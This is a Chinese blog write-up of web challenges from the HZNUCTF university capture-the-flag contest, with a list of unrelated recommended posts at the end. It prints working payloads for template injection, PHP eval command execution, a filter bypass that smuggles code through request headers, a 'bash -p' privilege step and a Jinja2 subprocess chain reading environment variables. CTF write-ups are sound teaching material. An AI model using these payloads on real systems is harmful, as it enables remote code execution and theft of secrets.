HZNUCTF -- web

HZNUCTF第五届校赛实践赛初赛 Web方向 WriteUp-CSDN博客

ezssti

下载文件

访问 /login

可由源代码中看到 Eval 函数 ,可以任意命令执行

按照格式,可执行命令

POST :name={{.Eval "env"}} 可以得到flag

(尝试ls 只能列出当前目录,列不出根目录,无法cat ,所以尝试 env命令)

真亦假,假亦真(HZNU版)

eval($_POST[1]) 可以命令执行

但是 cat /flag 会显示出一个假的flag

尝试了特别久,找了很多目录文件都没有
cat /*g 可以找到真的flag ,

是做了一个类似前端的验证啥的,只要出现了 flag 或者 /f* 啥的就会返回那个假的的flag

sql2login

可能是题目有问题,直接注册账号再登陆就可以直接得到flag

不需要sql注入

suid

php 复制代码
 <?php
highlight_file(__FILE__);// var_dump($_POST);if (isset($_POST["s_1.1"])) {
    echo "level 1"."<br>";
    if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_POST['cmd'])) {
        if (!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i', $_POST['cmd'])) {
            echo 'success!'.'<br data-tomark-pass>';
            eval($_POST['cmd']);
        }
    }
} else {
    echo "nonono 1";
} nonono 1

无参数函数进行命令执行

抓包处理

POST传参:
s[1.1=&cmd=eval(pos(apache_request_headers()));

bp抓包后构造一个请求头,放在第一个,名字随便

比如:flag:system("");

这样包裹了eval 就可以进行命令执行了

解释:

要传参 s_1.1 因为php特性的关系,正常传不了 点号 .

,需要特殊处理 ,[ 就被转换成 _ ,且后面的 点号 . 也可以正常传了

所以 传参 s_1.1 写为 --> s[1.1

apache_request_headers() : 会返回请求头的信息

pos() : 会把第一个信息取出来回显

eval() : 可将回显出来的信息当作代码执行

但是这道题可以列出来目录,无法读取文件,没有权限,需要提权

看了wp后,提权,只需要加上**bash -p -c ,**就可以拥有权限读取文件了

php 复制代码
请求头:
A: bash -p -c "cat /flag"


传参:
cmd=system(current(array_reverse(getallheaders())));&s[1.1=1

炼狱waf-S

尝试好久,太菜了,一直绕不过去

直接看wp学习:

1、利用subprocess.Popen来执行命令

{{\[\].class.base.subclasses()351('cat /proc/1/en*',shell=True,stdout=-1).communicate()0.strip()}}

2、直接利用引号拼接(非预期解)

(我开始做的时候也是想拼接绕过来着,一直没成功,感觉应该是格式的问题,失败了几次也就直接放弃了,感觉不会这么简单的直接就是引号拼接)

相关推荐
小新同学^O^7 小时前
简单学习 --> 模型参数
学习·llm·大模型参数
cdbqss17 小时前
VB2026 菜单生成基类 BqGetMenuStrip
数据库·经验分享·学习·oracle·vb
智者知已应修善业8 小时前
【51单片机8位数码管动态显示日期小数点风格】2023-11-13
c++·经验分享·笔记·算法·51单片机
智者知已应修善业8 小时前
【51单片机有三个LED 分别第一个灯闪三下 再到第二个灯又闪三下 再到第三个灯又闪三下 就这样循环程序】2023-11-16
c++·经验分享·笔记·算法·51单片机
暴躁小师兄数据学院8 小时前
【AI大数据工程师特训笔记】第04讲:PostgreSQL 数据库内置函数详解
大数据·数据库·笔记·ai·语言模型
吃好睡好便好9 小时前
创建魔方矩阵和单位矩阵
开发语言·人工智能·学习·线性代数·matlab·矩阵
星夜夏空999 小时前
STM32单片机学习(21) —— I2C通信
stm32·单片机·学习
z落落11 小时前
C# 数组 最终完整版全套笔记(一维+多维+交错+引用类型+对象数组)
java·笔记·c#
searchforAI11 小时前
B站视频转笔记用哪个工具?2026年四款AI笔记工具对比实测
人工智能·经验分享·笔记·gpt·学习·视频总结·ai笔记
爱上好庆祝12 小时前
学习JS第十一天(JS的进阶)
前端·javascript·学习